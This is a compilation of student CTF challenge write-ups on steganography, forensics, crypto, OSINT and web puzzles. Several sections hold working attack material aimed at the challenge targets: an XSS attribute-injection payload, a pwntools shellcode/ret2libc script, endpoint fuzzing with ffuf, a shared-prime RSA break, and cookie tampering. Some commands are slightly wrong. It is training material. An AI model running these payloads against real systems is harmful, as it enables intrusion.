Enter the CITY NAME

Code- losangles/la

image

Step 4: The Google Doc

The information is all filler

image

Location coordinates of the picture point to

Griffith Observatory : 34.1184° N, 118.3004° W

Rest of the text is white and revealed when selected

image

Time: 12:47 + 3mins+ 1 sec 12:50:01

Piece together final flag from “VITAL DATA”

Flag

1
CYS{341184_125001_6B011D}

Flag

CYS{341184_125001_6B011D}

Challenge Name - EXIF ECHOES

Challenge Name - EXIF ECHOES

  • Category: [Forensics/OSint]
  • Author: [ram]

Challenge Description

[This m0ment is more than it appears. Its very properties are… peculiar. Only by understanding its deepest whispers can you unlock the path.]

Solution

Initial Analysis

[As the challenge title suggests “EXIF,” the first step is to run exiftool on the image. This would reveal two unusual timestamps. The “echoes” hint at a combination of these two values.]

Tools Used

  • [exiftool]
  • [timestamp->epoch unix ( https://www.epochconverter.com/ ) ]
  • [ Hexadecimal XOR calculator (e.g., [https://xor.pw/] ]
  • [stegseek]

Step-by-Step Solution

Step 1: [Discover and Convert Timestamps]

1
[exiftool m0ment.jpg]

[they scan exiftool, encounter a fake flag , which is a pastebin link which gives them sime vague hint ( btw bonus flag hidden as the authorname )(pastebin.com/r3LnLw4G ) ]

Step 2: [Generate the Passphrase via XOR]

1
2
3
4
[# No command, but use a hex XOR calculator
# Input 1 (hex): 1681140600
# Input 2 (hex): 1727203620 
# Output (hex): 1a6343020]

[This step accomplishes the core trick of the challenge. By treating the two epoch values as hexadecimal numbers and XORing them, we generate the final passphrase (1a6343020) needed for extraction.]

Step 3: [Extract the Hidden File , and hence the flag]

1
2
3
echo "1a6343020" > pass.txt
stegseek m0ment.jpg pass.txt
cat m0ment.jpg.out

[This command uses stegseek to rapidly test our generated password (1a6343020) against the image. stegseek confirms the password is correct and extracts the hidden file, saving it as m0ment.jpg.out.]

Flags

1
2
CYS{b0nus_fl1g_686}
CYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th}

Flag

CYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th}

Sneaky Notes

Sneaky Notes

  • Category: [Web]
  • Author: [Akshitha]

Challenge Description

Some notes were left behind, look deeper and you will find what is yours.

Solution

Initial Analysis

Look at easy potential web exploits to use

Tools Used

  • Python
  • Flask

Step-by-Step Solution

Step 1: Login page

image

Step 2: Inspect and get credentials

image

Step 3 :XSS payload in notes page to get flag

image

#### Step 4: Flag found image

Flag

1
CYS{sneaky_notes_xss}

Flag

CYS{sneaky_notes_xss}

EON GATE

Sneaky Notes

  • Category: [Web]
  • Author: [Akshitha]

Challenge Description

Why wont the gate open?

Solution

Initial Analysis

The riddle and its relation with the given blocks.

Tools Used

  • Pyhton
  • Flask

Step-by-Step Solution

Step 1: Read the riddle

image

Step 2: Rearrange the words

image

Step 3 :Submit and get the flag

image

Flag

1
CYS{EON_REALIGNED}

Flag

CYS{EON_REALIGNED}

Mirror Shatter

  • Category: Web
  • Author: Kirubahari

Challenge Description

The Challenge is about web enumeration and find the hidden endpoints and parameters to get the flag

Solution

Initial Analysis

What I did first - enumeration, bruteforcing for endpoints

Tools Used

  • ffuf
  • base64
  • python

Step-by-Step Solution

Step 1: Finding the endpoint

1
ffuf -u "http://$IP:$PORT/FUZZ" -w WORDLIST --ic

It gives the hidden endpoint

Step 2: Fidning the parameter

1
ffuf -u "http://$IP:$PORT/mirror?FUZZ=true" -w WORDLIST --ic -fs int(x)

Which gievs the hiddenendpoint which downlaods the zip file which has the encoded flag

Step 3: Decoing

1
cat flag.txt | base64 -d

which gives the decoded dna encoded text decoding gives the flag

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys

MAP = {
    'A': '00',
    'C': '01',
    'G': '10',
    'T': '11'
}

def dna_to_bytes(dna: str) -> bytes:
    dna = ''.join(dna.split())
    if len(dna) % 4 != 0:
        raise ValueError("DNA length not multiple of 4 (each byte = 4 nucleotides).")
    bits = ''.join(MAP[nuc] for nuc in dna)
    out = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
    return out

def main():
    if len(sys.argv) == 2 and sys.argv[1] != '-':
        s = open(sys.argv[1], 'r').read()
    else:
        s = sys.stdin.read()
    try:
        b = dna_to_bytes(s)
        print(b.decode('utf-8'))
    except Exception as e:
        print("Decoding failed:", e, file=sys.stderr)
        try:
            b = dna_to_bytes(s.strip())
            import binascii
            print("HEX:", binascii.hexlify(b).decode())
        except:
            pass
        sys.exit(1)

if __name__ == '__main__':
    main()

Flag

1
CYS{B43aking_th3_m1rr0r_1$_c00l}

Flag

CYS{B43aking_th3_m1rr0r_1$_c00l}

Echoes in the Hourglass

  • Author: Vishal V

Challenge Description An hourglass image from the Citadel’s archives hides the encryption key to twelve lost timeline fragments (timeline_grain_*.bin). Each fragment carries a piece of the Citadel’s final chronicle. Recover the cipher key, decrypt all fragments, and rebuild the temporal log to restore the flow of time — and uncover the last message trapped within.

Solution

Solution Summary (Internal Dev Notes):

1.Extract stego data → recover cipher_key.bin. 2.Decrypt fragments using the provided XOR script. 3.Decrypt the timestamp log via openssl aes-256-cbc. 4.Reassemble the decrypted fragments in chronological order. 5.The flag appears in one fragment: timeline_grain_autd.txt.

Initial Analysis I listed the archive contents, inspected the image for hidden data, and examined the provided scripts. The image looked like a likely steganography container and the repository included a small XOR script (scripts/temporal_cipher.py) which suggested an XOR-based encryption of the fragments. There was also a timestamp_log.enc that was encrypted using openssl. A Hint.txt was also present having some necessary passwords which where md5 hashed.

Tools Used • steghide (to inspect/extract data from the image) • python3 (to run scripts/temporal_cipher.py) • Online md5 decrypting tools

Step-by-Step Solution

Step 1: Unpack and inspect unzip citadel_memory_dump.zip ls -lah file hourglass_of_time.jpg steghide info hourglass_of_time.jpg I confirmed the hourglass_of_time.jpg contains embedded data(cipher_key.bin) with steghide info. The passkey(echoes) for steghide was hidden in the hint.txt which could be broken using online md5 decrypting tools.

Step 2: Extract the cipher key from the image steghide extract -sf hourglass_of_time.jpg -p echoes -xf cipher_key.bin Using the steghide password (echoes), I extracted cipher_key.bin. This key is required to XOR-decrypt the timeline grains.

Step 3: Decrypt one fragment (smoke test) chmod +x scripts/temporal_cipher.py ./scripts/temporal_cipher.py timeline_grain_ [email protected] cipher_key.bin grain_ [email protected] This validated the key and script: the output showed readable part of the temporal log. Step 4: Decrypt all fragments for b in *.bin; do ./scripts/temporal_cipher.py “$b” cipher_key.bin “${b%.bin}.txt” done Each fragment decrypted into a .txt file.

Step 5: Decrypt the timestamp_log.enc file timestamp_log.enc output: timestamp_log.enc: openssl enc’d data with salted password This makes it clear that the file was encrypted using openssl. The password can be taken from hint.txt. The most common encryption in openssl is aes-256 hence try decrypting by that: openssl enc -aes-256-cbc -pbkdf2 -salt -in timestamp_log.txt -out timestamp_log.enc -pass pass:password Decrypted file stored as timestamp_log.txt

Step 6: Reconstruct the full log With reference to timestamp_log.txt reconstruct each file fragment. Concatenating the decrypted fragments in timestamp order reconstructed the original temporal log.

Step 7: Extract the flag The flag is present in the final temporal log. Note: the flag is present in only one of the file fragments: timeline_grain_autd.txt, so instead of concatenating based on timestamp_log.txt the player may individually open all the 12 files to find the flag. Either way this makes this challenge time consuming. There are also 2 decoy files that are present only to confuse the player: corrupted_grain_xx.bin,memory_alpha.txt.

Flag: FLAG{HOURGLASS_RECOVERED}

Flag

FLAG{HOURGLASS_RECOVERED}

Temporal Freeze Upgrade

Temporal Freeze Upgrade

Objective

Solve the mirror puzzle to decrypt the flag: cys{T1M3_SYNC}


Step 1: Understand the Mirrors

You have 4 mirrors to select in the correct order:

  • Mirror 0 (◈) - 0x00
  • Mirror 1 (◉) - 0x01
  • Mirror 2 (◊) - 0x02
  • Mirror 3 (◆) - 0x03

Step 2: Find the Pattern

Look at the QUANTUM_STATE_DECAY values:

  • Mirror 0: Decay = 5
  • Mirror 1: Decay = 8
  • Mirror 2: Decay = 3
  • Mirror 3: Decay = 6

Key Insight: Order mirrors by lowest to highest dec ay value.


Step 3: Correct Sequence

Click mirrors in this order:

  1. Mirror 2 (◊) - Decay 3
  2. Mirror 0 (◈) - Decay 5
  3. Mirror 3 (◆) - Decay 6
  4. Mirror 1 (◉) - Decay 8

Step 4: Get the Encrypted Flag

When solved correctly, you’ll see:

1
DECRYPTION_KEY: [encrypted characters]

Copy this encrypted string.


Step 5: Decrypt the Flag

Open Browser Console (F12) and paste:

1
2
3
4
5
6
7
8
9
10
11
12
13
const encryptedFlag = "[PASTE_YOUR_ENCRYPTED_KEY_HERE]";

for (let offset = 1; offset <= 50; offset++) {
    let decrypted = '';
    for (let i = 0; i < encryptedFlag.length; i++) {
        decrypted += String.fromCharCode(encryptedFlag.charCodeAt(i) - offset);
    }
    
    if (decrypted.startsWith('cys{')) {
        console.log('Flag: ' + decrypted);
        break;
    }
}

Step 6: Submit Flag

The decrypted flag will appear in console:

1
cys{T1M3_SYNC}

Tips

  • Use ANALYZE button for hints if stuck
  • Watch TEMPORAL_ALIGNMENT section as you select
  • The decay values are the key to solving it
  • Wrong sequence resets after 3 seconds
  • Each solve generates a unique encrypted flag

Quick Reference

| Position | Mirror | Symbol | Decay | |———-|——–|——–|——-| | 1st | 2 | ◊ | 3 | | 2nd | 0 | ◈ | 5 | | 3rd | 3 | ◆ | 6 | | 4th | 1 | ◉ | 8 |

Flag

cys{T1M3_SYNC}

Lyra's Photos

Lyra’s Photos

  • Category: Forensics
  • Author: Aadhyanth

Challenge Description

Hark, seeker of secrets! Before thee lies not cold stone, but the scattered remnants of a life lived, perhaps loved, perhaps lost. Six timeworn likenesses, captured by the enigmatic Lyra, lay strewn upon the dusty floor of this forgotten chamber. They say Lyra possessed the sight, able to bind not just light, but feeling, into her creations.

Each portrait – a frozen moment of joy, sorrow, anger, fear, surprise, or contemplation – pulses with a faint, spectral energy. Within the very weave of these images, Lyra concealed fragments of a greater truth, echoes of the heart bound to the canvas.

Thy task, should thou possess the keen eye and sharper wit, is to delve into the hidden layers of each depiction. Uncover the six fragments of data, each resonating with the soul of the emotion it guards. Only by piecing together these spectral whispers can the full secret be unveiled. Tread carefully, for memories, like ghosts, oft cling tightly to their resting place.

Solution

This challenge consists of 6 separate image files. Each image contains one part of the flag, hidden at a random location.

Extraction hints (for stegsolve):

  • image_1_red.png: Channels -> Red ; Bitplanes -> 0
  • image_2_yellow.png: Channels -> Green ; Bitplanes -> 0
  • image_3_green.png: Channels -> Blue ; Bitplanes -> 0
  • image_4_blue.png: Channels -> Red ; Bitplanes -> 4
  • image_5_black.png: Channels -> Green ; Bitplanes -> 4
  • image_6_white.png: Channels -> Blue ; Bitplanes -> 4

Alternatively, using a random colormap usually works for all 6 images

Parts: Part 1: “CYS{f” Part 2: “1v35” Part 3: “3n535” Part 4: “_s1x” Part 5: “3m0t1” Part 6: “0n5}”

Tools Used

  • Stegsolve

Step-by-Step Solution

Step 1:

1
java -jar Stegsolve.jar

Opens stegsolve

Step 2:

Use the arrows to find the correct setting

Flag

1
CYS{f1v3_53n535_s1x_3m0t10n5}

Flag

CYS{f1v3_53n535_s1x_3m0t10n5}

PARADOX GATE GAURDIAN


PARADOX GATE GAURDIAN

  • Category: [Crypto]
  • Author: [Anandhita Akhileshwaran(Ariza/anu akhil)]

Challenge Description

The “Paradox Gate Guardian” challenge combined steganography and RSA cryptography. Players had to extract a hidden Pastebin link from an image through multiple layers of encoding and then recover the flag from a weak RSA encryption setup. Solution:

Initial Analysis

The image contained a hidden string, which was not human-readable. Using an online steganography tool (Edchart) revealed the string inside the image. The string appeared to be multi-layer encoded (Base32 → Base58 → Base64), which indicated that several decoding steps were needed to get the actual Pastebin link.

Tools Used

  • Edchart – for extracting hidden string from image(Steganography)
  • Online Base32/Base58/Base64 converters – for decoding each layer
  • Python (online compiler) – for decrypting the RSA message

Step-by-Step Solution

Step 1: Extract hidden string from image

Used Edchart online tool to decode hidden string from gate_stego.png hidden_string = extract_from_image(“gate_stego.png”) # done online The extracted string was in Base32, revealing another encoded string after decoding.

Base32 → Base58 → Base64, all using online converters hidden_base32 = decode_base32(hidden_string) # online tool hidden_base58 = decode_base58(hidden_base32) # online tool pastebin_link_bytes = decode_base64(hidden_base58) # online tool pastebin_link = pastebin_link_bytes.decode() print(pastebin_link) After decoding, the Pastebin link appeared: https://pastebin.com/WrmVZ5Dh

This Pastebin contained the public.txt file with the RSA parameters:

  1. challenge: Paradox gate gaurdian
  2. note: Two gates encrypt the same message. Recover the flag.
  3. n1 = 15033578721439194988387179123854233894267575851240227576895496309506779750811590181996000973958811554416086988499492871175810679952478996274497198120963437989391636776502564411733778651880050934455369891966390586105142302383763131276917257610586999218429760875606433602994834838769089475278168103214389863284197728391195033697151334759565568924671759303271692600650009783080454557955626253866173440609692903558021152495564623502947058911525245202105707967579681530057950438396498842868456213925367642445573908267262206078459611761317395331888167006784457049353131120218969698496710227657739733468945914312493706698413
  4. n2 = 16994203338805397319400272058724146051502286151707007457101473255345953782170696536631265860021364475381819700444652919177539962950188092468598324885891882673731931581635415757055762743880126185343173816349139258908988088539519778409328371684839124913307562496045782999069227820366923748378092435370991558505739627586598732619112281521624236544378255527298348829479184612892706572963496922151338558476196809568338515399774528241198625809347603007190842549728974057953253554368551262921187839455170370165407169059886861059987495953267026039920025021152304913810807950398619398857701291727584481688042625083522549008367
  5. e = 65537
  6. c1 = 13359592783646666829124790216940920600108500335065136879423044095415962773244362668029844057063039053334386493742236153067934817228155212597146941588684123958884529086497398545650534506756212950456793154677111988173725366510534477388750863477728159418089135584136696512663516920841636352796735706734976668573001643435302538446161441508036338843236636456593111870038926248726639580335090513080916216378021236432485331721569623895390309355945576242090957647984587151208534535113112782983715119031375384841320157827177252620161003120386128309678359212762486965447628253829072242579655033891210972578584241367112075733422
  7. c2 = 14894363247019487835828355276465975866394899053117215785498335536076946429595510278243964416072837958824125854177698119068383498399350861277724922394422808992575888021137547426446478873603858083070094375486944492274127707059533273947707574615998776561977754206041031600695914710691752488594429809822626171728562271904217925687390029259147146667052337759099154641812430003020041060691800682850742498055579821126286418498116970776515025226838153691877013893184632680088496097144260482894116776541453917344794158788235304567868269675115656351298895842895028198495523839679949384177266537019541693949055511457364024881337

Step 3: Analyze RSA encryption

from math import gcd

Step 3a: Find shared prime

p = gcd(n1, n2)

Step 3b: Compute corresponding q1

q1 = n1 // p

Step 3c: Compute private key

phi1 = (p - 1) * (q1 - 1) d1 = pow(e, -1, phi1)

Step 3d: Decrypt ciphertext c1

m = pow(c1, d1, n1)

Step 3e: Convert integer message to bytes

msg = m.to_bytes((m.bit_length() + 7) // 8, ‘big’) print(msg.decode())

Explanation: The RSA was vulnerable because n1 and n2 shared a common prime factor p. Using gcd(n1, n2) revealed p. Once p was known, we computed q1 = n1 // p and the private exponent d1. Decrypting c1 gave the flag. Note: c2 exists but was not needed to recover the flag. It could be decrypted using q2 = n2 // p as a verification step, but c1 alone suffices. ______________

Flag

CYS{4CC3556RAN73D} _______________

Flag

CYS{4CC355_6RAN73D}

Where do u came from

Where do u came from

  • Category: Pwn

  • Author: Kirubahari

Challenge Description

Ret2libc attack

Solution

Steps

Finding the right offset using dbg in cyclic mode which gives the correct offset

The return address is given the binary itself.

Combining that both helps in exploiting

Tools Used

  • gdb

  • python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#! /usr/bin/python3

from pwn import *

elf = remote(IP,port)

io = process()

io.recvuntil(": ")

addr = int(io.recv(14), 16)

shellcode = asm(shellcraft.cat("flag.txt"))

payload = shellcode + cyclic(136 - len(shellcode)) + p64(addr)

io.sendline(payload)

io.interactive()

Flag

1
2
3
FLAG{ret2libc}

Flag

Dynamic Flag

Symphony of Loops

Symphony of Loops

  • Category: Musical Cipher
  • Author: Aadhyanth

Challenge Description

The Bard’s Enigma: Symphony of Loops

Attend, O seeker of hidden verse! Before thee resonates a spectral melody, an artifact known only as the “Symphony of Loops.” Legend tells of a mad court composer, Elmsworth, who claimed to have transcribed the very song of the Aether – a haunting refrain caught in an endless, maddening cycle.

Dismissed as a lunatic, Elmsworth vanished, leaving behind only this enchanted score, captured not on parchment, but within this peculiar digital phial (a MIDI file, they call it in lesser realms). It is said that Elmsworth encoded his final, defiant truth within the music itself, believing only a mind attuned to both harmony and cipher could unravel it.

Listen closely to the repeating bars. Observe the dance of the notes upon the unseen staff. Within this loop, each key press, each rise and fall in tone, is no mere sound – it is a symbol, a letter in a forgotten alphabet where music itself forms the words.

Thy task is to break the cycle, to listen beyond the melody and perceive the message woven into its very structure. Decipher the notes, translate their hidden meaning, and reveal the secret Elmsworth entrusted to his looping symphony. But take heed – madness oft lies within such endless refrains.

Make sure to wrap thy message in CYS{…}

Tools Used

  • MIDI file viewer
  • A notebook and pen

Step-by-Step Solution

Step 1:

Open the .mid file with any midi file viewer (ex. https://signalmidi.app/edit)

Step 2:

Note down the sequence of piano keys from the viewer in the correct order D#6, D#4, D7, C#4, F#6, B7, G#5, C#7, A#6, E4, F#6, C7, B7, F6, C#4, G#5, G#5, C#4, D#4, B7, B5, E4, F6, D#4 is the obtained sequence

Step 3:

The keys are numbered from a transpose of the standard MIDI indexing system. Instead of assigning the value of 60 to C4, the value of 0 has been assigned to C0. (This is apparent from the repeating B7 keys, which can be inferred to be underscores) The number of each key represents an ASCII value.

Flag

1
CYS{K3V1N_DUR4NT_M1DD13_G4M3}

Flag

CYS{K3V1N_DUR4NT_M1DD13_G4M3}

Ashes of Memory

Ashes of Memory

  • Category: [Forensics]
  • Author: [ace6002]
  • Level: [Easy]

Challenge Description

Image stegseek reveals binary, decoding binary gives flag.

Solution

Tools Used

  • [Stegseek]
  • [Python to group binary by 7 bits and decode]

Step-by-Step Solution

Step 1: StegSeek on given JPG

1
stegseek image.jpg -wl rockyou.txt

[Reveals hidden fl.txt containing flag. Passphrase for stegseek is ‘cyberpunk’.]

Step 2: Use python code to group binary bits by 7 and convert to ASCII.

1
2
3
binary_input = input("Enter 7-bit binary (no spaces): ")
text = ''.join(chr(int(binary_input[i:i+7], 2)) for i in range(0, len(binary_input), 7))
print(text)

[Converts binary into required flag.]

Flag

1
CYS{7h3RE_15_N0_E4D}

Flag

CYS{7h3RE_15_N0_E4D}

Lost Core Pulse

Lost Core Pulse

  • Category: Crypto
  • Author: Varsaa H

Challenge Description

The Eon city’s memory pulse went missing in a turbulent transmission. What remains in cipher.txt is cloaked with layers recognizable only to cryptographers—and those attentive to the patterns of Eon’s lost pulse.

Hint: Sometimes, signals are wrapped not once but twice.


Solution

Initial Analysis

  • Downloaded and inspected the file cipher.txt.
  • The content was a long string of what looked like hexadecimal characters.

Tools Used

  • Python (hex and base64 decoding)
  • CyberChef (for alternate handy decoding)
  • Any text editor

Step-by-Step Solution

Step 1: Hex Decode the cipher.txt

with open(‘cipher.txt’) as f: data = bytes.fromhex(f.read()) print(data)

This produced a result that looked like base64: b’Q1lTezNiYjEyZGF9b3N0cHVsc2VFOTFiZTJkZTFkZjQ=’

Step 2: Base64 Decode the Result

import base64 flag = base64.b64decode(data).decode() print(flag)

text Output: CYS{3bb12d_lostpulse_91be2d}

This is the flag, revealed from the two encoding layers.

Flag

CYS{3bb12d_lostpulse_91be2d}

Flag

CYS{3bb12d_lostpulse_91be2d}

Spectogram Shadows

Spectogram Shadows

Category: Forensics Author: Suraj Kumar

Challenge Description

A wav audio file contains a hidden, encrypted flag visible in the spectrogram. The flag in the spectrogram was encrypted with the vigenere cipher. The key for the cipher is stored at the end of the file’s hex data. Several dummy encoded flags are present in WAV comment metadata (they are red herrings).


Solution

Initial Analysis

  1. Open the WAV file and inspect metadata and appended data. The spectrogram shows a message (the encrypted flag) so the flag text is present in the audio itself (as visual data). The ciphertext visible in the spectrogram looks like ASCII when transcribed.
  2. The key is appended at the end of the WAV file (in the file’s hex). The hint “vigenere” is encoded in rot13 base32 base64 base64” and added in audios metadata Title

Tools Used

  • cyberchef/Any online decoders
  • audacity?any spectograph tool

Step-by-step Solution

Step 1 _Find Key

Key is at the end of hex of the audio(“secretkey”)

Step 2: See Spectograph

See audio spectography to find the vigenere encoded flag(ucu{e9sh22_owmg7w})

Step 3 — Find flag using the discovered key to decode the cipher

Giving the key will decode and return the original flag

Flag

``` cys{N9OO22_ESOO7S}

Flag

cys{N9OO22_ESOO7S}

POEM OF HIDDEN LIES

POEM OF HIDDEN LIES

  • Category: OSInt/Forensics/Text
  • Author: S S Kishore Kumar

Challenge Description

Govindaraja a budding entreprenuer has writte a poem , Find clues from his poem, unravel his life and his hidden secrets and finally capture THE FLAG!!

Solution

Initial Analysis

The diary entry leads to github and with further analysis leads to the flag.

Tools Used

  • Steghide
  • Google.com
  • Google Drive
  • Base 64 encoder/decoder
  • Instagram
  • Github

Step-by-Step Solution

Step 1: [Find the github account] Upon analysing the file you find out the github handle Govindaraja-GopalaKrishna-Ricky and the Public-Talk rep . (All these names are in the initial challenge file but hidden)

Step 2: [Read the readme.md file]

After reading the readme file you find out a password “IAuditYou” and the word “Base64” in it. Which are crucial for next steps.

Step 3: [Finding the correct file]

There are multiple files in the rep , among which only one leads to the next step . Which is “RmluYWxUcmFjZQ==.zip” and RmluYWxUcmFjZQ== can be decoded to FinalTrace (Event name) using a base64 decoder.

Step 4: [Analyze the file]

The zip file is password protected with “IAuditYou” and there are 5 images name 1,2,3,4,5.jpg among which img 3 has a hidden text file embedded. (3 can be chosen easily as if you inspect challenge file closely the verses are 3.3,3.33,3.333)

Step 5: [Find the text file in 3.jpg]

Using steghide and the passphrase same as before “IAuditYou” you get a second.txt file hidden in it.

Step 6: [Analyze second.txt]

The text file leads to a google drive link with a zip file of 3 images and a text file. The password for this is “QuantumLeap Inc.”. As second.txt says “However successful you become in life don’t forget where you came from.”. Which points to the challenge file which has the password.

Step 7: [Analyze readme2.txt]

readme2.txt says about the flag which is that “there is three images below out of these 3 , find the most liked one and see when they have created their youtube/instagram/twitter (oldest one)

CYS{month_year}

Step 7: [Find the flag]

Among those images the egg is the most liked picture . And the insta account was created on 19th January

Flag

CYS{january_2019}

Flag

CYS{january_2019}

Mirror of Minutes

Mirror of Minutes

Quick Start

Step 1: Open Developer Console

  • Press F12 on your keyboard
  • Click on the Console tab

Step 2: Execute the Exploit

Copy and paste this into the console:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Inject XSS payload into the reflection data
reflections.push({
    timestamp: Date.now(),
    id: "exploit",
    mirror: `survivor" onclick="window.networkUtils.unlockMirror()`,
    text: "payload triggered",
    contact: "attacker@void"
});

// Re-render to inject the XSS
renderObservations();

// Click the injected element to trigger XSS
document.querySelector('[data-mirror]').click();

// Verify and get flag
verifyLucidity();

// Display flag
alert(document.getElementById('flagContent').textContent);

Step 3: Get the Flag

The flag will appear: cys{m1rr0r_p4ss}


How It Works

The Vulnerability

The data-mirror attribute is not escaped:

1
2
3
// Vulnerable code in renderObservations():
`<div data-mirror="${mirrorAttr}" ...>`
// mirrorAttr is never HTML-escaped!

The Exploit Chain

  1. Inject malicious mirror value - Break out of the data attribute with "
  2. Add onclick event - onclick="window.networkUtils.unlockMirror()"
  3. Re-render observations - Call renderObservations() to insert the XSS
  4. Trigger the event - Click on the observation item
  5. Unlock the flag - The XSS calls unlockMirror() which sets isLucid = true
  6. Verify and display - Call verifyLucidity() to show the flag

Why This Works

1
2
3
4
5
6
Injected HTML:
<div data-mirror="survivor" onclick="window.networkUtils.unlockMirror()">
    ...
</div>

When clicked → onclick fires → unlockMirror() executes → isLucid = true

The Flag

1
cys{m1rr0r_p4ss}

Key Concepts

ConceptExplanation
XSSInjecting JavaScript code through user input
Unescaped AttributeHTML special characters not converted to entities
DOM InjectionModifying page elements dynamically
Event TriggersUsing click/load events to execute code
Hidden FunctionsDiscovering unexposed functions via inspection

Flag

cys{m1rr0r_p4ss}

Feed It the Fracture

Challenge Name

Feed It the Fracture

  • Category: Forensics (E)
  • Author: Vignesh K S

Challenge Description

An audio file contains a hidden passcode. Once you unlock the vault, you’ll find a series of clues — morse code, ASCII, Base64 — leading to the final flag.


Solution

Initial Analysis

Started by listening to the audio file. The dialogue hinted at a number sequence. There was also a password-protected zip file named vault.zip.


Tools Used

  • Morse Code Decoder
  • ASCII to Text Converter
  • Base64 Decoder
  • Rentry.org

Step-by-Step Solution

Step 1: Decode the Passcode from Audio

1
2
The conversation hinted at the pincode 600127.  
Removed the zeroes → got 6127.

Used 6127 to unlock vault.zip.


Step 2: Solve the Morse Code

1
2
Found a morse code file inside the zip.  
Decoded it to get a string.

Step 3: Decode ASCII in the URL

1
2
Converted ASCII values to text.  
Revealed a Base64 string.

Step 4: Decode Base64

1
Decoded the Base64 string to get a URL.

Step 5: Visit the URL

1
2
Opened the URL on rentry.org.  
Found the final flag.

Flag

1
CYS{INH4RM0N1C_DO0R_UNL0CK3D}

Flag

CYS{INH4RM0N1C_DO0R_UNL0CK3D}

Phantom Fingerprints

##

  • Category: [Forensics]
  • Author: [Htarizzs]

Challenge Description

[Use the provided netcat service and query logs to identify and analyze the activity of a phantom user whose fingerprints appear in the device logs, but who does not correspond to any registered account. Find and submit their session’s flag.]

Solution

Initial Analysis

  • Reconnaissance Begin by connecting to the provided netcat service (e.g., nc challenge.host 1337). Review the welcome message, available commands (usually presented with a help command), and the structure of returned data.
  • Information Gathering Use commands like show logs, query user , query fingerprint , etc., to get an inventory of normal and phantom records, paying attention to any IDs, timestamps, or unusual entries.

Tools Used

  • [netcat (nc)]
  • [python3 (py)]

Step-by-Step Solution

Step 1: [Connect & Explore]

1
2
3
nc localhost 1337
help
show logs

[The terminal is bought up, which will only work with specific commands which are specified in help.]

Step 2: [Find the phantom user]

1
2
query user 0x9999
query fingerprint fp9999

[Phantom(Unknown) user is found out, and try inspecting their fingerprint to get the flag in base64 format]

Step 3: [Decode the base64 string]

Decoding the base64 string obtained will give the flag

Flag

1
CYS{ph4n7om_v3n0m}

Flag

CYS{ph4n7om_v3n0m}

To Hehe with Lyra's Echoes

Basically you’re treated with the link.

https://echositee.vercel.app/

If you open the site, it’ll lead you to the login page where you’ll be asked for a username and the password. But don’t you worry because if you open

Inspect -> JavaScript segment of the code

You’ll see username = lyra Password = Base16 version of $#1n0332

Decode it and then enter the site The site is broken with not visible images.

From there, get the steg image (the third image in the site)

alt text

  • Also if you press it, you may see a flag like thing, don’t worry it’s a RED herring.

Then if you get echoes.jpg and do

steghide extract -sf echoes.jpg

And then for the passphrase, put $#1n0332 because I have already given in the description that her passwords became the same everywhere, so putting it leads you to get a Drive link

If you open the Drive Link, you’ll be rewarded with a PDF.

If you open the PDF, you can see that some texts are redacted. But no issues because if you copy all the texts and put in a notepad.

As you can see after this process, everything makes sense until in the end, there is random gibberish

If you look closely, it’s the last part of a pastebin URL.

If you put it along with the full pastebin URL, you’ll be rewarded with DOT cipher

Put it in thins link, https://www.dcode.fr/pollux-cipher

When decoded gives the full actual FLAG! CYS{HERACTUALECHOES}

Flag

CYS{HERACTUALECHOES}

Shattered Glass Logs

Shattered Glass Logs

  • Category: [Forensics]
  • Author: [Htarizzs]

Challenge Description

[Find the flag by reconstructing the hidden message scattered across multiple fragmented and tampered system logs.]

Solution

Initial Analysis

  • Reconnaissance Upon receiving several .log files, started with a manual inspection using cat and less to preview their contents and overall event structures.
  • Metadata & Consistency Check Examined timestamps, event flows, and error messages for clues about which log fragments could be authentic versus tampered.
  • Keyword/Pattern Search Used grep to extract all unique data fragments and looked for recurring suspicious patterns—like out-of-place error codes or data that did not match the rest of the logs.

Tools Used

  • [grep]
  • [neovim]
  • [online vignere cypher/decypher tool]

Step-by-Step Solution

Step 1: [List and Inspect Log files]

[There are 5 log files, go through them]

Step 2: [Look for Curly braces]

[Look for logs containing the curly braces, as it is unusual for a log and most prolly a flag]

Step 3: [Search for any word that is out of place]

[As the found flag is encrypted using Vignere cypher, it requires an extra key, hence this word is prolly that! Here, it is cyscom]

Flag

1
CYS{gl4ss_un5h4tt3rd}

Flag

CYS{gl4ss_un5h4tt3rd}

The Infinite Gate

The Infinite Gate

  • Category: Web
  • Author: Aadhyanth

Challenge Description

Hark, seeker of the Inner Sanctum! Before thee looms the Infinite Gate, an edifice not wrought by mortal hands, but sung into existence from the very stone of eternity. Its Guardian, ancient beyond reckoning, permits none to pass save those deemed worthy. Upon presenting thy claim, a fragment of thy very essence - thy digital soul-print, if you will - is etched by the Gate’s magic. This token, unseen yet potent, marks thee as either Guest or… something more.

The mechanism of this ward is steeped in the forgotten lore of Elara the Astromancer. She who mapped the celestial curves believed that identity itself could be represented, measured, perhaps even… altered. It is said the Gate judges not the strength of thy arm nor the purity of thy heart, but the subtle quality of the essence-token it bestows upon thee.

The Guardian speaks true: a pass is merely a token. Can such a thing, once given, be reshaped by mortal will? Can simple wit suffice where might fails? Approach the Gate, receive thy mark, and discover if thou possess the wit to bend its ancient, rigid judgment to thy purpose. The Inner Sanctum awaits only those who can prove their essence is more than what the Gate initially perceives.

Tools Used

  • Devtools
  • Python

Step-by-Step Solution

Step 1:

Open devtools (F12) view cookies under the Application tab and log in with any username and password

Step 2:

Alter the UserCunning cookie from false to true and move to the next page

Step 3: [Step Title]

Copy the given json file and decrypt using Elliptic-Curve Cryptography

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import json

def solve_challenge():
    """
    Loads challenge.json, solves the ECC challenge, and prints the flag.
    """
    print("Loading challenge.json...")
    try:
        with open('challenge.json', 'r') as f:
            data = json.load(f)
    except FileNotFoundError:
